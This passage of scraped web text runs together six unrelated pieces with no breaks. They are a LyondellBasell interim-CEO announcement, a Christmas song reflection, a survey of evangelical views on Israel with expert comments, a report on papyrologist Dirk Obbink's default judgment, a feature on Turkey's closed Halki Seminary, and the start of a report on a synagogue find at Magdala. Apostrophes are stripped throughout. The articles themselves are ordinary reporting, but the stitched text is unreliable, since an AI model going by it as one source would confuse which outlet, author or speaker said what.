from my own experiences, I will strive to build on the Company's momentum and work to continue offering great value to shareholders while advancing the Company's sustainability goals. I look forward to joining this strong leadership team, engaging with its devoted employees, and moving the Company forward, together." "We are very pleased that Ken will serve as Interim CEO during the transition period. He brings a wealth of Company knowledge, leadership and dedication to his work. On behalf of the Board, I thank him for stepping up to help ensure business continuity and continued robust financial and operational performance during the transition period. I would also like to thank Bob again for his service to the Company, its people and other stakeholders, and wish him the very best for the future," Mr. Aigrain said. Mr. Lane joined LyondellBasell in July 2019 and oversees the O&P Americas and O&P Europe, Asia & International (EAI) segments. Prior to joining LyondellBasell, Mr. Lane held a variety of positions with BASF, including president of the Monomers Division and president of BASF Catalysts. Before BASF, Mr. Lane also held a number of positions with BP Chemicals. He will continue to serve in his current role while also acting as interim CEO. Find this modern folk song an invitation to participate in the peace, in the grace, of this slow kingdom coming. Each year my family gets excited when its time for Christmas music. The constant playlist coming from our living room speakers is called Christmas Hits. Me, less excited. I do love Christmas hymns singing them at church or attending the beautiful annual concert here at Wheaton College. But apologies to Pentatonix, each year I grit my teeth through the Christmas Hits. Actually, no apologies. My kids groan in the car when I play what they call Sad Old Man Rock music. (More sincere apologies to Radiohead.) This genre carries over into the Christmas music I choose. My wife joined with my kids to ban me from playing Sufjan Stevens great Christmas album, my primary December music since 2006. A few weeks ago, I went to a small theater in Chicago to see Over the Rhine on their Christmas tour. A melancholy Christmas concert. My heart sang! Ive been replaying one song. In part, its made me reflect on what we're doing in The Better Samaritantrying to do good better, the needs and risks involved, the sadness that can feel heavier this time of year, and the need for Gods grace to guide the way. The song is called Another Christmas: Another Christmas is drifting in softly Like the ghost of my innocence lost And the tree in the corner burns brightly I turned all the other lights off I think back on my life in this stillness I consider the days of my youth And the moments I find myself willing To surrender and just tell the truth I love how gently were welcomed into the beauty of the lights on the tree, right alongside the sadness of realizing what has been lost. Story of a person. Story of humanity. 'Cause I've committed every sin And each one leaves a different scar It's just the world I'm livin' in And I could use a guiding star Now it's not so gentle. But Im here for it. A path to Christmas joy that isnt superficial. What a poetically piercing line about sin and scar. Then a great line about longing for the guiding star. Whatever joy we get to is going to be real. I hope that I can still believe The Christ child holds a gift for me Am I able to receive Peace on earth this Christmas A couple of weeks ago we talked with Dallas Jenkins, who created The Chosen, a creative telling of the story of Jesus that is now one of the most popular shows in the world. We had lots of conversations about how they tell the healing stories. We think about healing in the humanitarian and disaster fieldsand the lack of healing, and the slowness of healing. This stanza takes me to the father in Mark (chapter 9) who was desperate for Jesus to heal his son: Immediately the father of the child cried out, I believe; help my unbelief! This old world so sweet and so bitter Seeds of violence we humans have sown And these weapons we still love to handle May our children have strength to let go When we look at the stars after midnight Sparkling rumors of redemption at play Can we still hear the echoes of angels Who were singing that first Christmas day Now from personal to broader context. In the concert and in the car and right now: devastating to think of the violence. Children in a school in Michigan were buried just days ago. An absurd military budget, more than the Commander in Chief even asked for, just passed in Congress. Not willing to lay down the weapons we still love to handleand willing to sacrifice innocent children for the right to keep handling them. A military budget like this, but not enough money to get vaccines to the world or for paid family leave to care for our nations newborn children. From melancholy now all the way to tears. 'Cause we've committed every sin And each one leaves a different scar It's just the world we're living in And we could use a guiding star I hope that we can still believe The Christ child holds a gift for us Are we able to receive Peace on earth this Christmas From personal sin to the community, the systemic. The scars that keep being left and reopened by racism, sexism, by many sins. Its the world were living in. But not giving hopewe could use a guiding star indeed. The Christ child holds a gift for us yes, can we receive this peace? A hope indeed, a hope that can shine through the loss and the tears. And an invitation to participate in the peace, in the grace, of this slow kingdom coming. Hark the herald angels sing Glory to the newborn king Peace on earth and mercy mild God and sinners reconciled Joyful all ye nations rise Join the triumph of the skies With angelic hosts proclaim Peace on earth this Christmas The modern, melancholy folk song transitions seamlessly into concluding with the melody and lyrics of the beautiful Christmas hymn that Charles Wesley wrote in the 18th century. The husband and wife now harmonizing. Their harmony, as I wrote that sentence, takes me to Seamus Heaneys The Cure of Troy and his well-known lines: History says, Dont hope / On this side of the grave... / But then, once in a lifetime The longed-for tidal wave / Of justice can rise up, /And hope and history rhyme. Subscribe to email digests from the Better Samaritan. This Christmas may your scars (as mine) keep finding healing. May our collective scars find repentance and grace. In all the topics weve covered in our first year of The Better Samaritan, where together with you were often stepping into the results of trauma and displacement, of poverty and conflict and disaster, were grateful for the chance to seek along with you to receive that The Christ child holds a gift for us. Peace on earth this Christmas: not as a superficial seasonal jingle, but as our deepest mourning, our deepest hope, and our deepest commitment. ++ You can listen to the Over the Rhine song here. Kent Annan co-directs the Humanitarian Disaster Institute at Wheaton College, the first faith-based academic research center in the nation. Learn more and support the work of disaster preparedness today. In the public spat between Donald Trump and Benjamin Netanyahu, who would American evangelicals support? A new survey suggests it might be the Israeli. Polled shortly after the Gaza war last May, it also reveals a substantial generational gap in level of support for Israel and a lack of impact by pastors from their pulpits. And it happens to release this week, following Trumps explosive comments. In excerpts from a recently released interview, the former president blasted the former prime minister for his statement of congratulations to Joe Biden after the 2020 election. Nobody did more for Bibi. And I liked Bibi. I still like Bibi, stated Trump in an expletive-laced diatribe, using Netanyahus nickname. But I also like loyalty ... Bibi could have stayed quiet. He has made a terrible mistake. Netanyahu responded with praise for Trump. But in noting a friendship with Joe Biden, he also honored the longstanding partnership between the US and Israel. During his presidency, Trump moved the American embassy to Jerusalem, acknowledged Israeli sovereignty over the Golan Heights, and negotiated with five Muslim-majority nations to normalize relations with the Jewish state. American evangelicals joined Netanyahu in appreciation. According to a new online poll surveying a multiethnic panel of approximately 1,000 self-identified evangelical and born-again Christians, 35 percent say they became more supportive of Israel because of Trumps policies. Only 11 percent became more supportive of Palestinians, while 53 percent had no change. And overall, 68 percent of American evangelicals believe the Jewish people today have the right to the land of Israel, by virtue of the covenant God made with Abraham which remains intact today. (About 23% say they dont know.) Image: Kirill Bumin and Motti Inbari, UNC Pembroke / Barna Group / Chosen People Ministries The survey, conducted by professors Kirill Bumin and Motti Inbari from the University of North CarolinaPembroke in conjunction with Barna Group, was released today but conducted in July, well before public knowledge of Trumps falling out with Netanyahu. The 15-year Israeli prime minister scored a 74 percent favorable rating, based on the share of evangelicals who gave him a score of 6 or greater on a 10-point scale. One in five (22%) gave him the top rating possible. The survey did not include a direct comparison. But given the fact that it included evangelicals of all ethnicities (59% white, 24% Black, 11% Hispanic), researchers found that support for Biden and for Trump by vote share was almost identical (42% vs. 40%)even though 49 percent of evangelicals believed a Biden presidency would hurt the US relationship with Israel. Conversely, 31 percent believed Biden would do no harm. Similarly, 47 percent believed Netanyahus defeat as prime minister, to a coalition headed by Naftali Bennett, would hurt the Israeli relationship with US evangelicals. Only 16 percent believed it would do no harm. Nearly 1 in 2 (47%) believed Netanyahu improved these relations, compared to only 16 percent who did not. In terms of relations with Palestinians, American evangelicals largely recognized Israeli policy as fair. Asked about how Israel treats Palestinians in the Palestinian territories, 53 percent of respondents scored Israels treatment at 6 or greater on a 10-point scale. While only 14 percent said it was completely fair, only 19 percent scored Israel at 4 or lower. Image: Kirill Bumin and Motti Inbari, UNC Pembroke / Barna Group / Chosen People Ministries The 11-day conflict in May between Israel and Hamas in the Gaza Strip did not significantly alter evangelical perceptions. Protesting threatened evictions of Palestinians from their homes in East Jerusalem over complex leases, Hamas launched missiles toward Israeli cities. Israel responded, stating its missiles were aimed at militant targets often located in civilian centers. According to the UN, 256 people, including 66 children and 40 women, were killed in Gaza, while 13 people were killed, including two children and six women, in Israel. While 48 percent of American evangelicals reported no change in their overall opinion, 26 percent stated the conflict increased their support for Israel. Only 7 percent stated it increased their support for Palestinians. A plurality (43%) blamed both sides equally. One in three (34%) blamed Palestinians primarily, while 17 percent blamed Israel primarily. Overall, the report, sponsored by the Messianic Jewish organization Chosen People Ministries, notes that only 50 percent of American evangelicals support Israel (25% very strongly) in its dispute with Palestinians, whom 19 percent support. The remaining 31 percent support neither side. Image: Kirill Bumin and Motti Inbari, UNC Pembroke / Barna Group / Chosen People Ministries A similar survey released earlier this month by Grey Matter Research identified 20 percent of American evangelical Protestants as Israel loyalists, who see the Jews as Gods chosen people today and put a high priority on supporting them via charity. (It did not poll specifically about Palestinians.) Using the National Association of Evangelicals four-point definition of evangelicals by belief but not restricting its sample to white evangelicals as many surveys do, the Grey Matter study found a roughly even split between evangelicals who believe charitable support for Israel is a high vs. low priority, as well as an even split between evangelicals who believe the Jews are Gods chosen people today vs. who do not believe this. These statistics align well with the UNC-Pembroke survey, which found that 52 percent of American evangelicals say their religious beliefs make them more supportive of Israel. Only 8 percent say it makes them more supportive of Palestinians, and 40 percent say it doesnt impact their view of either side. Notably, only a third of American evangelicals claim their knowledge of the conflict is moderate (23%) or extensive (13%). Half claim limited (26%) or very limited (26%) knowledge, and 13% claim no knowledge at all. Image: Kirill Bumin and Motti Inbari, UNC Pembroke / Barna Group / Chosen People Ministries In terms of policy, 41 percent want the US to support Israel, while 10 percent want the US to support Palestinians. About 1 in 3 (36%) want the US to remain neutral. Despite widespread criticism that Trumps policies in office favored Israel, he consistently maintained that his efforts were a new strategy to resurrect a failing peace process. The survey did not query evangelicals on who they blame primarily for the lack of peace. But like many, Trump initially put the onus on Palestinians. He appears to have changed his mind. Bibi did not want to make peace. Never did, Trump stated for a Hebrew book project on the normalization deals, released last weekend. I [had] thought the Palestinians were impossible, and the Israelis would do anything to make peace and a deal. I found that not to be true. The reporting claims Netanyahu surprised the White House by announcing a controversial West Bank annexation during the rollout of Trumps peace plan. Israels then-ambassador to the US denies the claim. Is Trumps shift similar to that of younger US evangelicals, which previous surveys have found are growing less attached to the nation of Israel? Those 65 years and older are four times more likely to express high levels of support for Israel than those under 30 years of age. Overall, 29 percent of younger evangelicals support Israel while 45 percent support the Palestinians. And while 40 percent blamed Israel and Palestinians equally for the Gaza conflict, those faulting one side or the other balanced out. Three in 10 blamed Israel (29%) or Palestinians (27%) primarily. Of US policy, 36 percent of evangelicals under 30 want America to remain neutral. Israel ranks slightly higher for US support at 31 percent, while 26 percent want the US to support Palestinians. The younger generation is consistent with evangelicals at large in viewing Israels treatment of Palestinians in their territories as fair: 53 percent gave a score of 6 or above on a 10-point scale. But more chose an unfair rating than evangelicals at large: 25 percent gave a score of 4 or below. Image: Kirill Bumin and Motti Inbari, UNC Pembroke / Barna Group / Chosen People Ministries Image: Kirill Bumin and Motti Inbari, UNC Pembroke / Barna Group / Chosen People Ministries While age has the largest statistically significant impact, it is not the only corresponding factor. Evangelicals who never attend church are 63 percent less likely to support Israel than those who attend at least once per week. Adherents of postmillennial and amillennial eschatologies (who comprise 22% and 33% of evangelicals, respectively) are 51 percent less likely to support Israel than premillennialists (who comprise 33%). And those with positive views of Muslims (34%) are 27 percent less likely to support Israel than those with negative views (19%). (A plurality of 34 percent of evangelicals are neutral.) There is no relation between the frequency of pastoral statements of support for Israel to overall evangelical opinion. Neither is race or ethnicity or commitment to social justice a statistically significant factor. However, researchers noted that African American evangelicals express the lowest levels of support for Israel (37%) and the highest levels of support for the Palestinians (31%). Among Hispanic evangelicals, 40 percent support Israel and 23 percent support the Palestinians. Among white, non-Hispanic evangelicals, 58 percent support Israel and 14 percent support the Palestinians. Image: Kirill Bumin and Motti Inbari, UNC Pembroke / Barna Group / Chosen People Ministries And while a quarter of American evangelicals say their pastor talks about the importance of Israel to Christians every week (27%) or once a month (24%), a plurality say seldom (37%), and 1 in 10 say never (13%). Similarly, a plurality of American evangelicals say they seldom hear other evangelicals talk about the importance of supporting Israel (43%), compared to those hearing it every week (18%) or once a month (23%) vs. never (16%). CT invited evangelical experts in the US and in Israel to react to the survey results: Sidebar: When it comes to personal actions by American evangelicals: 41% have prayed for Israel 22% have prayed for the Palestinian territories 17% have prayed with a Jewish person 12% have prayed with a Palestinian person 14% have given money to pro-Israel causes 7% have given money to pro-Palestinian causes 8% have traveled to Israel 5% have traveled to the Palestinian territories 5% have done missions work in Israel 6% have done missions work in Palestinian territories 10% have engaged Jewish people with the gospel 7% have engaged Palestinian people with the gospel 7% have demonstrated against antisemitism 8% have demonstrated against Israel and its policies toward Palestinians 8% have contacted their congressional rep to express support for US policies that favor Israel 6% have contacted their congressional rep to express support for US policies that favor Palestinians 38% had done none of the eight Israel-related actions listed. 57% had done none of the eight Palestinian-related actions listed. Robert Nicholson, president of Philos Project: Most young evangelicals still believe in biblical promises regarding the people and land of Israel, but have a hard time thinking about the State of Israel and why its necessary to defend that people on that land. They dont realize that a Jewish-majority country makes the Near East more pluralistic, not less. Worst of all, theyve bought into the silly idea that support for a Jewish state means opposition to Palestinians, Arabs, or Muslimswhich of course isnt true. Young evangelicals, as opinionated as they are, dont know much about Israelis or Palestinians. Their views are based on gut feelings, media impressions, slogans, and peer pressure. Few have spent any time in the region, and even fewer know anything about the Jewish people beyond Sunday school stories they grew up on. It is wholesale ignorance of the Jews, and for that matter Palestinians, that produced these survey results. The answer is immersive education and personal encounter. Gary Burge, professor of New Testament at Calvin Theological Seminary, author of Whose Land? Whose Promise? What Christians Are Not Being Told About Israel and the Palestinians: Younger generations see social justice as central to their faith. Despite Israels consistent effort to shape the Palestinian narrative, when this survey is compared with parallel surveys just 20 years ago, evangelicals are increasingly neutral in their political views on Israel and Palestine, as younger generations realize that four million people held in military occupation by Israel is a moral issue. But surveys such as this generally have two problems. First, self-identified evangelicals may today only represent those who have wed their faith to Republican politics, as many other younger evangelicals have left and are not represented here. Second, the survey leads with biblical language about Gods covenant people, which skews the following questions about justice. When a survey is commissioned by a pro-Israel organization (Chosen People Ministries), we are wise to question its results. Danny Kopp, co-pastor of the Narkis Street Congregation in Jerusalem: The very framing of this issue in this survey as binary is a tragic reflection of our inability as Christians to appreciate moral complexity in our lives and in the lives of nations. The Bible weaves a complex narrative of Gods unique calling of a particular people, the Jews, to demonstrate his universal love and impartial care for all peoples. It is a merciful truism that throughout the biblical narrative every hero is flawed and no villain is beyond redemption. Yet, we as Christians, who should be the most adept at introspection and self-criticism, throw this principle out the window and are increasingly recognized as the most tribal in our unswervingly blind loyalties to political dogmas and personalities. The Israelis have a right to live in their own national homeland at peace with their neighbors, while the Palestinians deserve support in their pursuit of a political accommodation that affords them equal rights in their national homeland. Maintaining a nuanced, sophisticated biblical perspective in no way means that we should ascribe moral equivalence to either sides political blunders, but it means that we can never lose sight of Gods unique, particular, and equal calling upon both Israelis and Palestinians. Munther Isaac, academic dean at Bethlehem Bible College and pastor of the Evangelical Lutheran Christmas Church, Bethlehem: What is troubling is that many evangelicals have very strong opinions about Palestine and Israel, while having limited knowledge about the reality on the ground. What is missing is a theology of justice and peacemaking, which should not depend on ones view on eschatology, but on our call to bring Gods love to all peoples, as ambassadors of reconciliation. Evangelicals, like all Christians, must take informed positions. Peacemaking involves listening to both sides of a conflict, taking risks, and standing on the side of justice. We must speak truth to power, even when it involves our own people, religion, or nation. Trump and Netanyahu were not good for peace. Their approach was based on the logic of might and power, not truth and justice. America and Israel are political allies, basing their actions on what is best for their own political interests. Their policies did not reflect the biblical verse: Act justly, love mercy, and walk humbly with your God. Michael Brown, Messianic Jewish radio host of The Line of Fire: Given the way these evangelicals voted, Im pleasantly surprised that the support for Israel is as high as it is. That being said, the poll confirms a growing and disturbing trend. Why is this the case? First, the younger generation does not have a memory of the horrors of the Holocaust and the miraculous birth of the State of Israel. To them, Israel is the bully, intimidating and hurting the Palestinian population. And, since they have a heart for justice and for the underdog, they naturally side more with the Palestinians. If they had a more accurate and fuller picture, they would realize that having a heart for justice means recognizing the agonizing history of the Jewish people, the degree to which Israel is surrounded by hostile, even deadly enemies, and Israels deep desire to live at peace with its Arab neighbors. Second, as we know through church history, forms of replacement theology, also known as supersessionism, open the door to antisemitism. The key for Christians of all ages is education: Let them be well grounded in the Scriptures, let them know church history, and let them get the full picture of the conflict. If they do, they will recognize Gods restoration of the Jewish people to the land; they will pursue justice for all; and they will love their Muslim neighbor just as they love their Jewish neighbor. And when Israel does wrong, as friends and supporters of Israel they will speak the truth in love. Lisa Loden, co-chair of the Lausanne Initiative for Reconciliation in Israel-Palestine: Depending on current events and diverse theologies, evangelical support of Israel is continually in flux. Surveys are always a snapshot, never a cross-section, and this survey is no exception. Evangelicals need to fully integrate the social aspect of the gospel with their theology, and especially their eschatology. Evangelical ignorance, polarization, and lack of active interest in the real-time effect of the Israeli-Palestinian conflict on the local populations are lamentable. White US evangelicals will likely continue to support Trump and Netanyahu, whose views are both solidly pro-Israel, regardless of the current discourse and their reduced national roles. Salim Munayer, executive director of Musalaha and regional director for the World Evangelical Alliances Peace and Reconciliation Network: From this surveyespecially concerning the recent conflict in Gazawe can see a trend that there is a growing gap between young and older evangelicals. One possible explanation is the multiple sources of information young people are exposed to on social media. It is also amazing to see that despite their very strong feelings, American evangelicals claim to have limited knowledge of the conflict. Especially when only 10 percent have traveled to the region to know the reality on the ground. It seems that their opinions are highly shaped by theology, their view on Islam, and participation in church life. Gerald McDermott, author of Israel Matters, editor of The New Christian Zionism and Understanding Jewish Roots of Christianity: The survey suggests what many of us have been noticing for several decadesthat evangelicals are less biblically literate and less informed about what is going on in Israel today. More and more evangelicals are unaware, for example, of Pauls belief in Gods ongoing covenant with the Jewish people (Rom. 11:2829), his belief in the land promise (Acts 13:19), and Jesus promise that one day Jerusalem will welcome him (Matt. 23:39; Luke 13:35). Nor do they know that more than two million Israeli citizens are Palestinians who enjoy world-class education and health services and do not want to live under Palestinian rule in the West Bank or Gaza. The survey also shows that support for Israel is down among those under 30, but there are surprises. While 45 percent offer strong support for Palestinians, only 29 percent say Israel is to blame for the recent Gaza fighting, and only 26 percent say the US should take the Palestinians side in the conflict. Further, a majority of those under 30 say Israel is fair to Palestinians who live in Palestinian territories. The recent exchange between Trump and Netanyahu shows Trump as petty and Netanyahu as statesman-like. I think most evangelicals would agree. James Zogby, president of the Arab American Institute: This survey tracks polling we have done which shows that there is a significant shift in the attitudes of younger voters, including those who self-identify as born again, toward Israel/Palestine. We believe it is the result of access to expanded sources of information. This generation is more tolerant, more accepting, and more inclusive, and I suggest that their thinking is more in tune with the vision of Jesus. They see situations like the Israeli-Palestinian conflict as less black and white, and have more compassion for those they identify as victims of the hostilities. So this shift in attitudes among the young born-again Christians doesnt surprise me at all. That said, I am puzzled that race was not a significant factor in determining support for Israel. In our polls, the two main factors in shaping attitudes on Israel are age and race. Jaime Cowen, former president of the Union of Messianic Jewish Congregations: I believe the evangelical churchs support for Israel is part of a correction in rebuilding relationships between the church and the Jewish people. While it cannot undo the tremendous harm of historic Christian antisemitism, it has gone a long way towards breaking down walls between Christians and Jews, and paved a way for the rise of Messianic Judaism. So while evangelical views of Israels contemporary government and politics are incredibly naive and often one-sided, it still is better than past injustices. Sadly, the politicization of the gospel in the US has turned off many young people, including those in evangelical churches. It is strange and unfortunate how support for Israel is lumped in with opposition to abortion, LGBT issues, and critical race theory. Support for Israel becomes problematic, especially as the younger generations confront social injustices, which include Israeli policy towards the Palestinians. Unless Israel seriously tries to address the Palestinian question, support for Israel will likely continue to erode. The support for Trump among evangelicals is the most shocking thing I have ever witnessed as a believer. He was popular among the majority of Israelis, but damaged US-Israel relations by offering American support for anything Israel did. As for Netanyahu, he did nothing about a problem that eventually must be addressed. While his efforts to reach agreements with other Arab nations is highly laudable, it doesnt negate the elephant in the room. Todd Deatherage, executive director of The Telos Group: The shifting attitudes of younger evangelicals toward Israelis and Palestinians in their conflict is significant, but not surprising. Weve been seeing movement within pockets of evangelicalism for years, as more Christians try to re-center their faith away from politicization and back around Jesus and his teachings. When Jesus is at the center, nationalistic forms of Christianity like Christian Zionism just dont hold up. These changing attitudes represent an opening for Christians to support mutual flourishing for Israelis and Palestinians, all of whom deserve equal measures of freedom, dignity, and security as image-bearers of God. And I think these numbers are also connected to something else were seeing: the growing number of Christians who are pursuing justice and reconciliation in a variety of ways, as they live out the charge Jesus gives his followers to be peacemakers. Botrus Mansour, lawyer, writer, and evangelical leader in Nazareth: I regret that a large portion of American evangelicals knowledge of the conflict, by their own admission, is limited. But it has great impact on American policies on the ground. They had a large role in promoting the anti-Palestinian sentiment that informed the Netanyahu-Trump era, which was bad for peace in the Holy Land. The young evangelicals view of the conflict is fairer. Palestinians are people created in Gods image and are entitled to human dignity. I would expect that more American evangelicals pray for them, and act as brokers for peace. Mitch Glaser, president of Chosen People Ministries and sponsor of the survey: I am concerned about how evangelicals view Israel, as they are often Israels greatest supporters in the United States. Yet, often it seems as the reputation of Israel becomes tarnished, particularly among younger evangelicals, Israel is cast as the aggressor, rather than as the responder to aggression. Further education in Christian colleges, seminaries, and local churches needs to be developed. Videos, podcasts, and social media should be created to further inform these future leaders of the church. Unfortunately, when we have a negative view of others, whether Palestinians or Jewish Israelis, often instead of love and mission there is enmity and a lack of passion for winning these Abrahamic cousins to Jesus. I believe prophecy was fulfilled in the formation of the modern state of Israel in 1948, but Israel is not yet what Israel will become. One day my beloved Jewish people will turn to Yeshua the Messiah, as promised by the prophet Zechariah, and they will look to Me whom they have pierced. Until then, I pray my fellow evangelicals will have a positive view of the Jewish people, and even come to the conclusion that by virtue of the Abrahamic Covenant, the land does belong to them. | Image: Image: Screengrab YouTube / World Monuments Fund Britain Dirk Obbink didnt answer the door of his Oxford, England, houseboat docked in the Thames. He dodged the private investigators trying to serve him a legal summons in August and September and failed to answer the official letter notifying him that he was required to respond to allegations he had defrauded Hobby Lobby by selling the craft store $7 million worth of ancient papyri that he didnt actually own. A clerk of the United States federal court has certified a default judgment against the famed papyrologist, noting in late November that defendant Dirk D. Obbink has not filed any answer or otherwise moved with respect to the complaint herein. The former Oxford University professor and visiting scholar at Baylor University, once heralded for his amazing discoveries of ancient texts, including early copies of the Gospels and unknown poems of Sappho, now owes Hobby Lobby a full refund. The resolution of the civil lawsuit leaves a lot of questions unanswered, though. Chief among them: Where are the other 81 ancient fragments that went missing from the Egyptian Exploration Society (EES) library at Oxford at the same time that Obbink, then head of the librarys papyri digitization project, took 32 fragments and sold them to Hobby Lobby? I think many of us hoped that a trial might bring to light further information on the whereabouts of the roughly 80 Oxyrhynchus papyri that still seem to be missing, wrote history of religions scholar Brent Nongbri on his blog. According to the lawsuit, Obbink worked as a private antiquities dealer in addition to his academic work. He sold Hobby Lobby four lots of papyri between 2010 and 2013, as the Oklahoma-based company invested in an expansive collection that it would use to launch the Museum of the Bible in Washington, DC, in 2017. The fragments were discovered in a rubbish heap near a vanished city in Egypt in the early 20th century. A sales record shows that Obbink claimed four of them were first-century copies of Matthew, Mark, Luke, and Johnwhich would have made them the oldest known pieces of the New Testament. In 2017, Obbink contacted Hobby Lobby to say he had made a mistake and mixed up the EES fragments with his fragments he was selling as part of his antiquities business. He promised to pay the money back but asked for patience, as he had already spent it. At the same time, Obbink told EES he had showed the New Testament fragments to some visitors associated with Hobby Lobby and owner Steve Greens Green Collection, but claimed he never told them it was for sale. Professor Obbink insists that he never said the papyrus was for sale, and that while he did receive some payments from the Green Collection for advice on other matters, he did not accept any payment for or towards purchase of this text, an official statement said. The EES has never sought to sell this or any other papyrus. Hobby Lobby then sent a copy of its purchase agreement to EES, and the library launched a systematic check of its collection of more than 500,000 artifacts. More than 120 were missing, and someone had tampered with the card catalogues and photographic records to hide the fact they were gone. Seven were recovered from an evangelical collector in California. More than 80 appear to still be missing. According to the director of the EES, the items may have been sold for millions, but they are actually priceless. Obbink, for his part, spoke of the fragments in the EES collection in rhapsodic terms. For me personally, he once told a British audience, working on these texts was like being shipwrecked on a desert island with Marilyn Monroe. Obbink was arrested in 2020 and then sued in 2021. Shortly after that, court records show, he moved to a houseboat named the James Brindley and started hiding from the private investigators attempting to serve him summons. A neighbor signed an affidavit that she saw Obbink on the boat a little before 4:30 p.m. on Saturday, September 11, and the summons had been removed from the houseboat door. The main cabin door was open, the affidavit says. Mr. Obbink would have had to remove the envelop to open the door. The British woman helpfully photographed Obbink for the investigators, who presented it to the US federal court as evidence and asked for a default judgment. Obbink is also facing criminal charges in England. The investigation is ongoing. The classrooms and halls of the Halki Orthodox Seminary on the Turkish island of Heybeliada, in the Sea of Marmara south of Istanbul, look much as they did when Konstantinos Delikostantis was a student there more than 50 years ago. Wooden chairs and black desks line the classrooms, some still bearing the graffiti (in both Turkish and Greek) of their past occupants. The chalkboards, which sit beneath portraits of Turkeys founding father, Mustafa Kemal Ataturk, look as if they could use a good wash. At 73, Delikostantis is among the youngest remaining alumni of the school, which counts among its 990 graduates at least two saints, seven patriarchs, seven archbishops, six metropolitans, and countless other clergymen, authors, and theologians who went on to serve as leaders of Orthodox Christianity around the world. In its heyday, Halki Seminary was a place of intense study, deep introspection, and strong brotherhood, recalled Delikostantis, now an adviser to the spiritual leader of Eastern Orthodox Christians, Ecumenical Patriarch Bartholomew I, a fellow graduate of Halki. Halki was the iron theological arm of the Ecumenical Patriarchate, said Delikostantis, leaning back on a sofa in the office of the Greek Orthodox Patriarchate in Istanbuls Fener district. The first monastery on the island, known in Greek as Halki, was founded in the ninth century by Patriarch Photius I. A second was established by Byzantine Emperor John VIII Palaiologos just a few decades before Constantinople was conquered by the Ottomans in 1453. The school itself was founded in 1844 when then-Patriarch Germanus IV converted part of Photius monastery of the Holy Trinity into a high school and a seminary. However, for 50 years no new students have been permitted to walk through its halls. In 1971, the Turkish government closed the school under a law nationalizing all institutions of higher learning. It was the last school to train priests in modern Turkey, a region that has been the center of the Orthodox church for more than 1,600 years. Image: David I. Klein The schools closure is just one chapter in the story of forced migration, pogroms, and other forms of persecution that saw the Greek Orthodox community in Turkey decline from nearly 2 million at the turn of the 20th century to barely 5,000 today. But with the 50th anniversary of its closing, Orthodox leaders longstanding petition to allow the school to reopen has gained new life. Many of the Orthodox Christians remaining in Turkey feel that they have been robbed of decades of spiritual leadership, while those in far-flung territories of Orthodox Christianity have had their ties to unique Constantinopolitan theological traditions all but severed. We lost two generations of priests and clergy and bishops of the church, who are not educated in the only school that the Ecumenical Patriarchate has in Istanbul, Archbishop Elpidophoros of America, who serves under the purview of the Patriarchate of Constantinople, said in an interview marking the 50th anniversary of the schools closing earlier this year. In July, the US State Department issued a statement urging Turkey to allow the reopening of the school. Turkish authorities fired back, arguing that it was in fact the patriarchate that was responsible for the schools continued closure, as the patriarchate would not consent to Halki being administered by the state-run faculty of theology. Ankara has repeatedly tried to use Halkis possible reopening as a bargaining chip in Turkeys tense relations with Greece. During a 2019 visit by Greek Prime Minister Alexis Tsipras, Turkish President Recep Tayyip Erdogan suggested he might allow the reopening of the school if Greece would open a mosque in Athens. Look, you want something from us, you want the Halki seminary. And I tell you [Greece], come, lets open the Fethiye Mosque, Erdogan said, referring to a 17th-century Ottoman mosque in Athens and Greeces stalled promises to open a new house of worship for Muslim residents in the Greek capital. Embroiling the seminary in the sparring between Athens and Ankara has left Istanbuls remaining Greek Orthodox population frustrated, according to Laki Vingas, a former president of the community. Its so sad to witness that Halki is no longer a matter of education or religious training, but it has assumed a political role and become a symbol of antagonism, Vingas said. For a 2-millennia-old church, this is very difficult. Image: Darwinek / Wikipedia / Creative Commons As the years go on, the generation that remembers the place as anything other than a political bargaining chip is fading. A quick scroll through the schools alumni Facebook page shows mostly death notices above pictures of graduates dressed in both the black robes of the priesthood and secular garb. In the schools absence, Turkeys Orthodox community has had to send its ecclesiastically minded youth to Greece for training. Delikostantis thinks the distance has had a significant effect. It is not good for the Patriarchate that our theologians are studying in Thessaloniki or in Athens, he said. They lose something in the four or five years when they are there. Its not that the Greek schools are lacking; during his time in seminary they largely had the same learning materials both in Turkey and Greece, he said. But whats been lost is the spirit of Halki. After a lifetime teaching throughout Europe, Delikostantis has returned to Fener to advise his old friend Patriarch Bartholomew I as an expert on the intersection between human rights and Orthodox theology. Though the patriarch is just under a decade his senior, the two go back a long way. Both are natives of the Turkish island of Gokceadaknown in Greek as Imbrosand Delikostantis boasts that he was there when the future patriarch was first appointed a deacon in 1961. Despite Delikostantis time at the seminary, he never ended up joining the priesthood like his old friend, instead going on to research the intersection of philosophy and theology. Today, Delikostantis looks as comfortable quoting the words of Immanuel Kant as those of the Nazarene. Delikostantis says he was first set upon that path during his time at Halki. The main characteristic of our school was this combination of academic study and church life, he explained. During my seven years there I lived between the church, celebrating the liturgy, and the classroom and library. Halkis students also thrived on the diverse environment of Istanbul. Despite the schools isolated spot on Heybeliada, the environment of 1960s Istanbul required a measure of opennessnot only openness to other sects of Christianity and other faiths, but an appreciation for scientific study and a necessary dialogue with modernity. Its not easy to be faithful and to be open, Delikostantis said, but its something the school inculcated in him and the current Patriarch. This was, I think, the power of Halki, this combination between faith and science. What the future holds for the school remains unclear. Though theres been little movement on the part of the Turkish government, the patriarchate remains hopeful, having even drawn up renovation plans for potential future use. For Turkey, it could be an ornament, you know, a school which produces open people, Delikostantis said. Open-minded, nonfundamentalist people of dialogue who accept diversity. That was the seminary he remembers. Archaeologists discover second synagogue in Mary Magdalene's Galilean hometown Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Archaeologists say a second synagogue dating back to the Second Temple period has been discovered in what is believed to have been the birthplace of Mary Magdalene of the Bible and is changing our understanding of Jewish life in this period. While excavating the Galilean town of Magdala, known today as Migdal, archaeologists say they found the remnants of a second synagogue dating back to the Second Temple period which in history was a time that is believed to have lasted between 515 or 516 B.C. up until 70 A.D. This is the second synagogue from the Roman period that has been uncovered in the village and the first case of the existence of two synagogues in any locality from the Second Temple period, a period when the Temple in Jerusalem was still standing, the Israel Antiquities Authority shared on Facebook. Prof. Adi Erlich, who heads the Zinman Institute of Archaeology at the University of Haifa, and Dina Avshalom-Gorni, who directs the excavation of the site on behalf of the University of Haifa, believe the discovery sheds light on the social and religious life of the Jews in the Galilee during this period. They contend that the finding indicates the need for a special building for studying and reading the Torah and social gatherings. The first synagogue in Migdal was uncovered in 2009 through an excavation that found ritual baths, streets, a marketplace and industrial facilities in the ancient village. The second synagogue was first discovered by probes conducted by Barak Tzin of the Israel Antiquities 